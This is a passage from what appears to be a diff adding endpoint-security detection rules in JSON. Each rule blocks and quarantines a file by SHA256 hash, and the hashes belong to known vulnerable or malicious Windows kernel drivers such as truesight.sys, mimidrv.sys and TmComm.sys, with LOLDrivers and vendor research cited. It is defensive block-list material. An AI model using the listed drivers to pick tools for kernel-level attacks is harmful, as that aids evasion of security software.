+  "creation_date": "2026-03-23T11:45:31.159952Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.159961Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "61401cb144607a6d805877ef659049461afc2376351011206b34216d743dce63",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7c3b76f4-4456-5169-8852-bdc4b34182d6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.823088Z",
+  "creation_date": "2026-03-23T11:45:30.823090Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.823096Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5e7b92e6a1f656a70ed56ef2a190fce6bb3f12063b891fbfd722ca4e951de15f",
+  "comment": "Vulnerable Kernel Driver (aka FH-EtherCAT_DIO.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7c43c7e1-90a7-5a28-8033-7075f6503569",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.471963Z",
+  "creation_date": "2026-03-23T11:45:31.471966Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.471974Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8ab9c0033fe779dba2bf6f906ab9efff7ae2ba6c89616b8a4529c9e74bf7a388",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7c5d9dc9-affa-5db5-bfa8-fbd0cf5488fa",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.498759Z",
+  "creation_date": "2026-03-23T11:45:31.498761Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.498766Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4888e5bb988e9b5058dfe0231c2ceb7a2312a24a8451b1171a45941ff82f41d6",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7c6346cd-6873-5155-9a29-9b96ef8fd4bb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.809236Z",
+  "creation_date": "2026-03-23T11:45:31.809239Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.809248Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "857e860762ee61ba6c1830fe0535c2c252e41facfba7237afc32def9a5338257",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7c70c1ba-d5cb-57db-8b8b-719fa836280e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.979481Z",
+  "creation_date": "2026-03-23T11:45:29.979483Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.979489Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e6f764c3b5580cd1675cbf184938ad5a201a8c096607857869bd7c3399df0d12",
+  "comment": "Malicious Kernel Driver (aka windbg.sys) [https://www.loldrivers.io/drivers/da7314dc-6cf1-4d74-a0d1-796fc08944f8/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7c72b120-df7a-56cc-8d96-efe81acea998",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.610014Z",
+  "creation_date": "2026-03-23T11:45:29.610016Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.610022Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "253ed7f5c7115e957dfdb1f5c6c51592b491a70b27787903c8fd848e45b9cf22",
+  "comment": "Novell vulnerable driver (aka nicm.sys, nscm.sys and ncpl.sys) [CVE-2013-3956] [https://www.loldrivers.io/drivers/f4126206-564f-49f5-a942-2138a3131e0e/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7c73769b-76b1-58fc-836f-3d4257efc14b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.807310Z",
+  "creation_date": "2026-03-23T11:45:31.807312Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.807318Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "db4acfc49be21a6fa503473ab2fd5573660f9c426f57de54f99c1b69ab634d42",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7c839334-c76e-57f0-b0e6-59d085100b28",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.812674Z",
+  "creation_date": "2026-03-23T11:45:31.812678Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.812687Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4610c4d17ba378f06dd4fe2ad8be4d9c49c5a27185fe36b29afc9f9c39330df0",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7c855a93-006c-5a14-86cb-3feb502b6bef",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.833810Z",
+  "creation_date": "2026-03-23T11:45:30.833813Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.833822Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d373400b4c6093dc6c06d5228d6f5419d16e1084c7ee2748e867e8acfc36e635",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7c8cb881-f36d-57f8-bb4e-e8a471aaeb89",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.498119Z",
+  "creation_date": "2026-03-23T11:45:31.498123Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.498130Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "34c7a941c54c83fd0a9656918315d4544ecfba933e18d30d1aeef8ae634ec8e4",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7c8dba25-79ab-5b2b-8c9d-7c5a80e20caa",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.477931Z",
+  "creation_date": "2026-03-23T11:45:31.477935Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.477945Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2dee1a21f277a107ad0f8e76e42cbd255e529f87bb1b16d64bd79771a7270ed4",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7c915589-86f6-50a7-a39f-f3cae1dc435e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.823608Z",
+  "creation_date": "2026-03-23T11:45:30.823610Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.823616Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c3552940a50d22dd481c5b5cc5f76b98cf57bae05741a813647f88d84a9a48b5",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7c934d41-eb80-5e55-bbaf-5d6546a15fc8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.463042Z",
+  "creation_date": "2026-03-23T11:45:30.463045Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.463054Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2da2b883e48e929f5365480d487590957d9e6582cc6da2c0b42699ba85e54fe2",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7c939e3f-0d92-5a3d-b40d-d1d29d972fd7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.979995Z",
+  "creation_date": "2026-03-23T11:45:29.979997Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.980002Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e4a7da2cf59a4a21fc42b611df1d59cae75051925a7ddf42bf216cc1a026eadb",
+  "comment": "Vulnerable Kernel Driver (aka Monitor_win10_x64.sys) [https://www.loldrivers.io/drivers/ca415ed5-b611-4840-bfb2-6e1eacac33d1/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7c9aa0e8-808f-5103-b7f5-f0774686e9e9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.973827Z",
+  "creation_date": "2026-03-23T11:45:29.973829Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.973834Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "89108a15f009b285db4ef94250b889d5b11b96b4aa7b190784a6d1396e893e10",
+  "comment": "Trend Micro Anti-Rootkit Common Module vulnerable driver (aka TmComm.sys) [CVE-2007-0856] [https://www.loldrivers.io/drivers/22aa985b-5fdb-4e38-9382-a496220c27ec/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7c9b1b13-14f1-5199-b92b-db5d1d503e11",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.463526Z",
+  "creation_date": "2026-03-23T11:45:30.463531Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.463540Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a78c9871da09fab21aec9b88a4e880f81ecb1ed0fa941f31cc2f041067e8e972",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7ca3fb71-5f7f-5b73-bf66-91372bf455ca",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.142593Z",
+  "creation_date": "2026-03-23T11:45:31.142595Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.142601Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ac916d75cd309ea2f40e7a75c645a52e5f1fc39827605b05f4968dcd2b059ab3",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7cab0cb2-a8d0-552a-9d2b-1e76d389454b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.148916Z",
+  "creation_date": "2026-03-23T11:45:31.148919Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.148924Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "39b976b15968a825cb241307a47dfd03cd263c2d6dc583741c8937264b0dfa1f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7cb2016b-cba2-5145-944f-c88293c178c0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.481623Z",
+  "creation_date": "2026-03-23T11:45:30.481624Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.481630Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a2dee316cd07963c2eb7ebb1b4189eca78786c835aaafeb6467b37c1353d821a",
+  "comment": "Vulnerable Kernel Driver (aka rtif.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7cb5907d-8057-51af-8865-016f2192220d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.825277Z",
+  "creation_date": "2026-03-23T11:45:31.825281Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.825291Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5b3c82a363f5f4cd33100619977fa030b40aecf139145534649fb9855a94d06c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7cb77c52-f623-57cc-9479-8dd7acf979d6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.481731Z",
+  "creation_date": "2026-03-23T11:45:30.481733Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.481738Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "19595c3de596f8b705eef1b135768d3051305698ceed083401f8acfba4bd5393",
+  "comment": "Vulnerable Kernel Driver (aka rtif.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7cb948a1-79ee-56b4-b7e7-e09f8e14b1e9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.975060Z",
+  "creation_date": "2026-03-23T11:45:29.975062Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.975067Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
